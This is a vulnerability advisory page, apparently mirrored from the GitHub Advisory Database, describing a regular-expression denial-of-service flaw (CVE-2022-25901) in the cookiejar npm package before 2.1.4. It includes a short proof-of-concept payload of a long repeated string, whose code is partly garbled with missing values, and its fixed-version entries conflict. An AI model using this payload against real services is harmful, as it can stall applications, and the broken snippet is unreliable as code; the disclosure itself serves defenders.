An open API service providing security vulnerability metadata for many open source software ecosystems.

Advisories: GSA_kwCzR0hTQS1oNDUyLTc5OTYtaDQ1aM4AAxDY

cookiejar Regular Expression Denial of Service via Cookie.parse function

Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.

Proof of concept:

ts\nconst { CookieJar } = require("cookiejar");

const jar = new CookieJar();

const start =;

const attack = "a" + "t".repeat(50_000);

console.log(`CookieJar.setCookie(): ${ - start}ms`);

CookieJar.setCookie(): 2963.214399999939ms


Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 18 days ago
Updated: 13 days ago

CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-h452-7996-h45h, CVE-2022-25901

Affected Packages

Versions: <= 2.1.3
No known fixed version
Versions: < 2.1.4
Fixed in: 2.1.4